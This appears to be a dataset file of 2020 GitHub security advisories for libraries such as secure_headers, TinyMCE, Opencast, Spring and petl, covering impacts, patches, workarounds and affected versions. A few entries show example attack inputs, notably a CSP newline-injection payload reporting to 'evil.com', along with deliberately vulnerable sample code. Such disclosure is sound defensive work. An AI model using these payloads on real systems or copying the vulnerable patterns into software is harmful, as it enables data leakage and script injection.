aswin1906/github-advisory-2020.csv huggingface dataset:
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
Advisory: GHSA-w978-rmpf-qmwg (CVE-2020-5216)
Published: 2020-01-23T02:27:53Z

### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 6.0.0
fixed: 6.3.0
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 5.0.0
fixed: 5.2.0
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 3.9.0
Unsafe Identifiers in Opencast
Advisory: GHSA-w29m-fjp4-qhmq (CVE-2020-5230)
Published: 2020-01-30T21:21:50Z

### Impact

Opencast allows almost arbitrary identifiers for media packages and
elements to be used. This can be problematic for operation and security
since such identifiers are sometimes used for file system operations
which may lead to an attacker being able to escape working directories and
write files to other locations.

In addition, Opencast's Id.toString(…) vs Id.compact(…) behavior,
the latter trying to mitigate some of the file system problems, can
cause errors due to identifier mismatch since an identifier may
unintentionally change.

### Patches

This issue is fixed in Opencast 7.6 and 8.1.

### Workarounds

There is no workaround for this.

### For more information

If you have any questions or comments about this advisory:

- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)
- For security-relevant information, email us at security@opencast.org

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Affected packages:
package: ecosystem: Maven, name: org.opencastproject:base, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 7.6
package: ecosystem: Maven, name: org.opencastproject:base, ranges: type: ECOSYSTEM, events: introduced: 8.0
fixed: 8.1
Cross-site scripting vulnerability in TinyMCE
Advisory: GHSA-27gm-ghr9-4v95 (CVE-2020-17480)
Published: 2020-01-30T21:22:15Z

### Impact
A cross-site scripting (XSS) vulnerability was discovered in: the core parser, `paste` and `visualchars` plugins. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.6 or lower and TinyMCE 5.1.3 or lower.

### Patches
This vulnerability has been patched in TinyMCE 4.9.7 and 5.1.4 by improved parser logic and HTML sanitization.

### Workarounds
The workarounds available are:
- disable the impacted plugins
- manually sanitize the content using the `BeforeSetContent` event (see below)
- upgrade to either TinyMCE 4.9.7 or TinyMCE 5.1.4

#### Example: Manually sanitize content
```js
editor.on('BeforeSetContent', function(e) {
  var sanitizedContent = ...; // Manually sanitize content here
  e.content = sanitizedContent;
});
```

### Acknowledgements
Tiny Technologies would like to thank Michał Bentkowski for discovering this vulnerability.

### References
https://www.tiny.cloud/docs/release-notes/release-notes514/#securityfixes

### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)
* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)


Affected packages:
package: ecosystem: npm, name: tinymce, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 4.9.7
package: ecosystem: npm, name: tinymce, ranges: type: ECOSYSTEM, events: introduced: 5.0.0
fixed: 5.1.4
Cross-site scripting in SimpleSAMLphp
Advisory: GHSA-mj9p-v2r8-wf8w (CVE-2020-5226)
Published: 2020-01-24T21:26:54Z

### Background

SimpleSAMLphp allows users to report errors and failures to the system administrators via a web form. This web form gathers some contextual information automatically, but it also allows the user to provide their email address for follow-ups and a free-text explanation of what happened. Once submitted, the report is sent as an email to the administrative email address configured in the software.

### Description

The `www/erroreport.php` script allows error reports to be submitted and sent to the system administrator. Starting with SimpleSAMLphp  1.18.0, a new `SimpleSAML\Utils\EMail` class was introduced to handle sending emails, implemented as a wrapper of an external dependency.

This new wrapper allows us to use Twig templates in order to create the email sent with an error report. Since Twig provides automatic escaping of variables, manual escaping of the free-text field in `www/errorreport.php` was removed to avoid double escaping. However, for those not using the new user interface yet, an email template is hardcoded into the class itself in plain PHP. Since no escaping is provided in this template, it is then possible to inject HTML inside the template by manually crafting the contents of the free-text field.

### Affected versions

SimpleSAMLphp versions 1.18.0 to 1.18.3, both inclusive.

### Impact

An attacker may take advantage of this issue to manually craft a modified email sent via the error reporting mechanism, such as this email might trick a system administrator into performing an action, such as introducing their credentials into a phishing web site that resembles the original.

Remote execution of javascript code is considered unfeasible since email clients do not run javascript present in emails, although there might be email clients which don't follow this rule, making the attack surface grow.

### Resolution

Upgrade the SimpleSAMLphp installation to version 1.18.4.

### Credit

This vulnerability was discovered and reported by Frederic Vleminckx.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: Packagist, name: simplesamlphp/simplesamlphp, ranges: type: ECOSYSTEM, events: introduced: 1.18.0
fixed: 1.18.4
CSRF attack via CORS preflight requests with Spring MVC or Spring WebFlux
Advisory: GHSA-7pm4-g2qj-j85x (CVE-2020-5397)
Published: 2020-01-21T20:59:33Z

Spring Framework, versions 5.2.x prior to 5.2.3 are vulnerable to CSRF attacks through CORS preflight requests that target Spring MVC (spring-webmvc module) or Spring WebFlux (spring-webflux module) endpoints. Only non-authenticated endpoints are vulnerable because preflight requests should not include credentials and therefore requests should fail authentication. However a notable exception to this are Chrome based browsers when using client certificates for authentication since Chrome sends TLS client certificates in CORS preflight requests in violation of spec requirements. No HTTP body can be sent or received as a result of this attack.

Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected packages:
package: ecosystem: Maven, name: org.springframework:spring-webmvc, ranges: type: ECOSYSTEM, events: introduced: 5.2.0
fixed: 5.2.3
package: ecosystem: Maven, name: org.springframework:spring-webflux, ranges: type: ECOSYSTEM, events: introduced: 5.2.0
fixed: 5.2.3
Unauthenticated Access Via OAI-PMH
Advisory: GHSA-6f54-3qr9-pjgj (CVE-2020-5228)
Published: 2020-01-30T21:22:06Z

### Impact

Media publication via OAI-PMH allows unauthenticated public access to all media and metadata by default. OAI-PMH is part of the default workflow and is activated by default, requiring active user intervention of users to protect media. This leads to users unknowingly handing out public access to events without their knowledge.


### Patches

The problem has been addressed in Opencast 7.6 and 8.1 where the OAI-PMH endpoint is configured to require users with `ROLE_ADMIN` by default. In addition to this, Opencast 9 removes the OAI-PMH publication from the default workflow, making the publication a conscious decision users have to make by updating their workflows.

### Workarounds

In the organization security configuration (`etc/security/mh_default_org.xml`), change the roles required for accessing `/oaipmh` from `ROLE_ANONYMOUS` to `ROLE_ADMIN`.

### References

- [Public access configuration in the organization's security configuration](https://github.com/opencast/opencast/blob/1fb812c7810c78f09f29a7f455ff920417924307/etc/security/mh_default_org.xml#L271-L276)

### For more information

If you have any questions or comments about this advisory:

- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)
- For security-relevant information, email us at security@opencast.org

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Affected packages:
package: ecosystem: Maven, name: org.opencastproject:opencast-oaipmh-api, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 7.6
package: ecosystem: Maven, name: org.opencastproject:opencast-oaipmh-api, ranges: type: ECOSYSTEM, events: introduced: 8.0
fixed: 8.1
Feedgen Vulnerable to XML Denial of Service Attacks
Advisory: GHSA-g8q7-xv52-hf9f (CVE-2020-5227)
Published: 2020-01-28T22:37:50Z

### Impact

The *feedgen* library allows supplying XML as content for some of the available fields. This XML will be parsed and integrated into the existing XML tree. During this process, feedgen is vulnerable to [XML Denial of Service Attacks](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses) (e.g. XML Bomb).

This becomes a concern in particular if feedgen is used to include content from untrused sources and if XML (including XHTML) is directly included instead of providing plain tex content only.

### Patches

This problem has been fixed in feedgen 0.9.0 which disallows XML entity expansion and external resources.

### Workarounds

Updating is strongly recommended and should not be problematic. Nevertheless, as a workaround, avoid providing XML directly to feedgen or ensure that no entity expansion is part of the XML. 

### References

- [Security Briefs - XML Denial of Service Attacks and Defenses](https://docs.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses)
- [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack#cite_note-2)

### For more information

If you have any questions or comments about this advisory:
- Open an issue in [lkiesow/python-feedgen](https://github.com/lkiesow/python-feedgen/issues)
- Send an email to security@lkiesow.de

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
Affected packages:
package: ecosystem: PyPI, name: feedgen, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.9.0
RFD attack via Content-Disposition header sourced from request input by Spring MVC or Spring WebFlux Application
Advisory: GHSA-8wx2-9q48-vm9r (CVE-2020-5398)
Published: 2020-01-21T20:59:09Z

In Spring Framework, versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16, an application is vulnerable to a reflected file download (RFD) attack when it sets a "Content-Disposition" header in the response where the filename attribute is derived from user supplied input.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected packages:
package: ecosystem: Maven, name: org.springframework:spring-webmvc, ranges: type: ECOSYSTEM, events: introduced: 5.2.0.RELEASE
fixed: 5.2.3.RELEASE
package: ecosystem: Maven, name: org.springframework:spring-webmvc, ranges: type: ECOSYSTEM, events: introduced: 5.1.0.RELEASE
fixed: 5.1.13.RELEASE
package: ecosystem: Maven, name: org.springframework:spring-webmvc, ranges: type: ECOSYSTEM, events: introduced: 5.0.0.RELEASE
fixed: 5.0.16.RELEASE
package: ecosystem: Maven, name: org.springframework:spring-webflux, ranges: type: ECOSYSTEM, events: introduced: 5.2.0.RELEASE
fixed: 5.2.3.RELEASE
package: ecosystem: Maven, name: org.springframework:spring-webflux, ranges: type: ECOSYSTEM, events: introduced: 5.1.0.RELEASE
fixed: 5.1.13.RELEASE
package: ecosystem: Maven, name: org.springframework:spring-webflux, ranges: type: ECOSYSTEM, events: introduced: 5.0.0.RELEASE
fixed: 5.0.16.RELEASE
Link injection in SimpleSAMLphp
Advisory: GHSA-2r3v-q9x3-7g46 ()
Published: 2020-01-24T21:27:16Z

### Background
Several scripts part of SimpleSAMLphp display a web page with links obtained from the request parameters. This allows us to enhance usability, as the users are presented with links they can follow after completing a certain action, like logging out.

### Description
The following scripts were not checking the URLs obtained via the HTTP request before displaying them as the target of links that the user may click on:

- `www/logout.php`
- `modules/core/www/no_cookie.php`

The issue allowed attackers to display links targeting a malicious website inside a trusted site running SimpleSAMLphp, due to the lack of security checks involving the `link_href` and `retryURL` HTTP parameters, respectively. The issue was resolved by including a verification of the URLs received in the request against a white list of websites specified in the `trusted.url.domains` configuration option.

### Affected versions
All SimpleSAMLphp versions prior to 1.14.4.

### Impact
A remote attacker could craft a link pointing to a trusted website running SimpleSAMLphp, including a parameter pointing to a malicious website, and try to fool the victim into visiting that website by clicking on a link in the page presented by SimpleSAMLphp.

### Resolution
Upgrade to the latest version.

### Credit
This security issue was discovered and reported by John Page (hyp3rlinx).

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected packages:
package: ecosystem: Packagist, name: simplesamlphp/simplesamlphp, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.14.4
Default development error handler in Ratpack is vulnerable to HTML content injection (XSS)
Advisory: GHSA-r2wf-q3x4-hrv9 (CVE-2019-10770)
Published: 2020-01-27T19:28:20Z

Versions of Ratpack from 0.9.10 through 1.7.5 are vulnerable to [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html) (aka. XSS) in the development error handler. An attacker can utilize this to perform XSS when an exception message contains untrusted data.

As a simplistic example:
```java
RatpackServer startedServer = RatpackServer.start(server -> {
    server.handlers(chain -> chain.all(ctx -> {
        // User supplied query parameter
        String message = ctx.getRequest().getQueryParams().get("message");
        // User supplied data appended to the message in an exception
        throw new RuntimeException("An error occurred: " + message);
    }));
});
```

### Impact

 - Cross-Site Scripting

### Patches

This vulnerability has been patched in Ratpack version 1.7.6.

### Workarounds

If you are unable to update your version of Ratpack, we recommend the following workarounds and mitigations.

 - Ensure that development mode is disabled in production.
 - Don't use real customer data (ie. untrusted user input) in development.

### References

 - [Ratpack development mode](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#development-boolean-)
 - [Code Patch - a3cbb13](https://github.com/ratpack/ratpack/commit/a3cbb13be1527874528c3b99fc33517c0297b6d3)

### For more information

If you have any questions or comments about this advisory:
 - Open an issue in [ratpack/ratpack](https://github.com/ratpack/ratpack/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc)
 - Ask in our [Slack channel](https://slack-signup.ratpack.io/)


Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: Maven, name: io.ratpack:ratpack-core, ecosystem_specific: affected_functions: , ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.7.6
Authentication Bypass For Endpoints With Anonymous Access in Opencast
Advisory: GHSA-vmm6-w4cf-7f3x (CVE-2020-5206)
Published: 2020-01-30T21:21:30Z

### Impact

Using a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.

This way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.


### Patches

This problem is fixed in Opencast 7.6 and Opencast 8.1


### Workarounds

As a workaround for older, unpatched versions, disabling remember-me cookies in `etc/security/mh_default_org.xml` will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:

```xml
<sec:remember-me … />
```

### References

- [Remember-me cookie in the security configuration file](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)


### For more information

If you have any questions or comments about this advisory:

- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)
- For security-relevant information, email us at security@opencast.org

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Affected packages:
package: ecosystem: Maven, name: org.opencastproject:opencast-kernel, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 7.6
package: ecosystem: Maven, name: org.opencastproject:opencast-kernel, ranges: type: ECOSYSTEM, events: introduced: 8.0
fixed: 8.1
Stored XSS in Apache Atlas
Advisory: GHSA-v62j-fcxq-j239 (CVE-2019-10070)
Published: 2020-01-08T17:26:53Z

Apache Atlas versions 0.8.3 and 1.1.0 were found vulnerable to Stored Cross-Site Scripting in the search functionality

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: Maven, name: org.apache.atlas:apache-atlas, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.8.4
package: ecosystem: Maven, name: org.apache.atlas:apache-atlas, ranges: type: ECOSYSTEM, events: introduced: 1.0.0
fixed: 1.2.0
XSS in Dolibarr ERP & CRM
Advisory: GHSA-v384-jqmq-fc74 (CVE-2020-7996)
Published: 2020-01-28T22:26:16Z

htdocs/user/passwordforgotten.php in Dolibarr 10.0.6 allows XSS via the Referer HTTP header.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: Packagist, name: dolibarr/dolibarr, ranges: type: ECOSYSTEM, events: introduced: 0
last_affected: 10.0.6
Directive injection when using dynamic overrides with user input
Advisory: GHSA-xq52-rv6w-397c (CVE-2020-5217)
Published: 2020-01-23T02:28:11Z

### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter 

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 6.0.0
fixed: 6.2.0
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 5.0.0
fixed: 5.1.0
package: ecosystem: RubyGems, name: secure_headers, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 3.8.0
Malicious takeover of previously owned ENS names
Advisory: GHSA-8f9f-pc5v-9r5h (CVE-2020-5232)
Published: 2020-01-30T23:55:04Z

### Impact
A user who owns an ENS domain can set a "trapdoor", allowing them to transfer ownership to another user, and later regain ownership without the new owner's consent or awareness.

### Patches

A new ENS deployment is being rolled out that fixes this vulnerability in the ENS registry. The registry is newly deployed at [0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e](https://etherscan.io/address/0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).

### Workarounds
Do not accept transfers of ENS domains from other users on the old registrar.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Affected packages:
package: ecosystem: npm, name: @ensdomains/ens, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.4.0
Authenticated Server Side Request Forgery
Advisory: GHSA-8pfh-mm2g-hmc3 ()
Published: 2020-12-21T18:01:24Z

### Impact
Authenticated Server Side Request Forgery

### Patches
We recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

### Workarounds
For older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659

### For more information
https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020

### Credits
We would like to thank <a rel="noopener" href="https://reqon.nl">REQON B.V.</a> for reporting this issue.

Affected packages:
package: ecosystem: Packagist, name: shopware/platform, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 6.3.4.1, database_specific: last_known_affected_version_range: <= 6.3.4.0
package: ecosystem: Packagist, name: shopware/core, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 6.3.4.1, database_specific: last_known_affected_version_range: <= 6.3.4.0
Cross-Site Scripting in Fluid view helpers
Advisory: GHSA-vqqx-jw6p-q3rf (CVE-2020-26227)
Published: 2020-12-21T16:28:11Z

> ### Meta
> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C` (5.7)
> * CWE-79

### Problem
It has been discovered that system extension Fluid (`typo3/cms-fluid`) of the TYPO3 core is vulnerable to cross-site scripting passing user-controlled data as argument to Fluid view helpers.

```
<f:form ... fieldNamePrefix="{payload}" />
<f:be.labels.csh ... label="{payload}" />
<f:be.menus.actionMenu ... label="{payload}" />
```

### Solution
Update to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.

### Credits
Thanks to TYPO3 security team member Oliver Hader who reported this issue and to TYPO3 security team members Helmut Hummel & Oliver Hader who fixed the issue.

### References
* [TYPO3-CORE-SA-2020-010](https://typo3.org/security/advisory/typo3-core-sa-2020-010)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: Packagist, name: typo3/cms-core, ranges: type: ECOSYSTEM, events: introduced: 9.0.0
fixed: 9.5.23
package: ecosystem: Packagist, name: typo3/cms-core, ranges: type: ECOSYSTEM, events: introduced: 10.0.0
fixed: 10.4.10
omniauth-apple allows attacker to fake their email address during authentication
Advisory: GHSA-49r3-2549-3633 (CVE-2020-26254)
Published: 2020-12-08T14:18:19Z

### Impact

This vulnerability impacts applications using the [omniauth-apple](https://github.com/nhosoya/omniauth-apple) strategy of OmniAuth and using the `info.email` field of OmniAuth's [Auth Hash Schema](https://github.com/omniauth/omniauth/wiki/Auth-Hash-Schema) for any kind of identification.  The value of this field may be set to any value of the attacker's choice including email addresses of other users.

For example, an application using omniauth-apple with the following code will be impacted:
```ruby
def omniauth_callback
    auth_hash = request.env['omniauth.auth']
    @authenticated_user = User.find_by(email: auth_hash.info.email)
end
```

Applications not using `info.email` for identification but are instead using the `uid` field are not impacted in the same manner.  Note, these applications may still be negatively affected if the value of `info.email` is being used for other purposes.

### Patches

Applications using affected versions of omniauth-apple are advised to upgrade to omniauth-apple version 1.0.1 or later.

### Workarounds

If unable to upgrade to a patched version, monkey patching `OmniAuth::Strategies::Apple#email` as follows is advised as a workaround:

```ruby
module OmniAuth
  module Strategies
    class Apple
      def email
        id_info['email']
      end
    end
  end
end
```

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
Affected packages:
package: ecosystem: RubyGems, name: omniauth-apple, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.0.1
Multiple cryptographic issues in Python oic
Advisory: GHSA-4fjv-pmhg-3rfg (CVE-2020-26244)
Published: 2020-12-04T16:47:12Z

### Impact
* Client implementations using this library

### Issues
1) The IdToken signature algorithm was not checked automatically, but only if the expected algorithm was passed in as a kwarg.
2) JWA `none` algorithm was allowed in all flows.
3) `oic.consumer.Consumer.parse_authz` returns an unverified IdToken. The verification of the token was left to the discretion of the implementator.
4) `iat` claim was not checked for sanity (i.e. it could be in the future)

### Patches
1) IdToken signature is now always checked.
2) JWA `none` algorithm is now allowed only if using the `response_type` `code`
3) IdToken verification is now done automatically.
4) `iat` claim is now checked for sanity.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Affected packages:
package: ecosystem: PyPI, name: oic, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.2.1
XXE in petl
Advisory: GHSA-f5gc-p5m3-v347 ()
Published: 2020-12-02T18:28:30Z

### Impact
Information Disclosure

### Summary

[petl](https://github.com/petl-developers/petl) is a Python library that provides functions for extraction, transformation, and loading (ETL) of data.

petl before 1.68, in some configurations, allows resolution of entities in XML input.

An attacker who is able to submit XML input to an application using petl can disclose arbitrary files on the file system in the context of the user under which the application is running.

### Affected Applications

Applications that:

- accept attacker-supplied XML input that is processed using petl < 1.68
- return the response generated by petl back to the attacker
- configure lxml as the underlying XML processing library used by petl
- have read privileges in filesystem files with sensitive information

### Mitigation
Update to petl >= 1.68

### Workarounds

- Assure there is no user/external access to the application using [petl](https://github.com/petl-developers/petl)
- Assure your application is not using the function [fromxml()](https://petl.readthedocs.io/en/stable/io.html#petl.io.xml.fromxml)

### References
- https://github.com/nvn1729/advisories/blob/master/cve-2020-29128.md
- https://github.com/petl-developers/petl/pull/527
- https://github.com/petl-developers/petl/releases/tag/v1.6.8
- https://petl.readthedocs.io/en/stable/changes.html
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

### For more information
If you have any questions or comments about this advisory:
* Add a comment in the Github [issue](https://github.com/petl-developers/petl/pull/527)

Thaks to Naveen Sunkavally.

Affected packages:
package: ecosystem: PyPI, name: petl, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.6.8
Server-Side Template Injection
Advisory: GHSA-wmfg-55f9-j8hq (CVE-2020-26282)
Published: 2020-12-24T20:49:34Z

### Impact
A Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. This has been assigned CVE-2020-26282.

### Patches
Effective Immediately, all users should upgrade to version 2.1.2 or higher.

### Workarounds
None. 

### References
https://securitylab.github.com/research/bean-validation-RCE


### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the BrowserUp Proxy repo](http://github.com/browserup/browserup-proxy)
* Contact us via  the [BrowserUp website](https://browserup.com) or email us at [support@browserup.com](mailto:support@browserup.com)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Affected packages:
package: ecosystem: Maven, name: com.browserup:browserup-proxy, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 2.1.2
Cross-site Scripting in dompurify
Advisory: GHSA-63q7-h895-m982 (CVE-2020-26870)
Published: 2020-12-18T22:51:40Z

Cure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected packages:
package: ecosystem: npm, name: dompurify, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 2.0.17
user-readable api tokens in systemd units for JupyterHub
Advisory: GHSA-cg54-gpgr-4rm6 (CVE-2020-26261)
Published: 2020-12-09T16:27:43Z

### Impact
user API tokens issued to single-user servers are specified in the environment of systemd units, which are accessible to all users.

In particular, the-littlest-jupyterhub is affected, which uses systemdspawner by default.

### Patches
Patched in jupyterhub-systemdspawner v0.15

### Workarounds
No workaround other than upgrading systemdspawner to 0.15

### For more information

If you have any questions or comments about this advisory:
* Open a thread in [the Jupyter forum](https://discourse.jupyter.org)
* Email us at [security@ipython.org](mailto:security@ipython.org)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Affected packages:
package: ecosystem: PyPI, name: jupyterhub-systemdspawner, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.15
OS Command Injection in node-notifier
Advisory: GHSA-5fw9-fq32-wv5p (CVE-2020-7789)
Published: 2020-12-21T16:04:07Z

This affects the package node-notifier before 8.0.1. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected packages:
package: ecosystem: npm, name: node-notifier, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 8.0.1
Denial of service in fast-csv
Advisory: GHSA-8cv5-p934-3hwp (CVE-2020-26256)
Published: 2020-12-08T21:42:53Z

### Impact
Possible ReDoS (Regular Expression Denial of Service) when using `ignoreEmpty` option when parsing.

### Patches
This has been patched in `v4.3.6`

### Workarounds
You will only be affected by this if you use the `ignoreEmpty` parsing option. If you do use this option it is recommended that you upgrade to the latest version `v4.3.6`

### References

This vulnerability was found using a [CodeQL](https://securitylab.github.com/tools/codeql) query which identified `EMPTY_ROW_REGEXP` regular expression as vulnerable.
[Link to query run](https://lgtm.com/query/8609731774537641779/). 

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [fast-csv](https://github.com/C2FO/fast-csv)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Affected packages:
package: ecosystem: npm, name: fast-csv, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 4.3.6
package: ecosystem: npm, name: @fast-csv/parse, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 4.3.6
Kirby Panel users could upload PHP Phar archives as content files before v2.5.14 and v3.4.5
Advisory: GHSA-g3h8-cg9x-47qw (CVE-2020-26255)
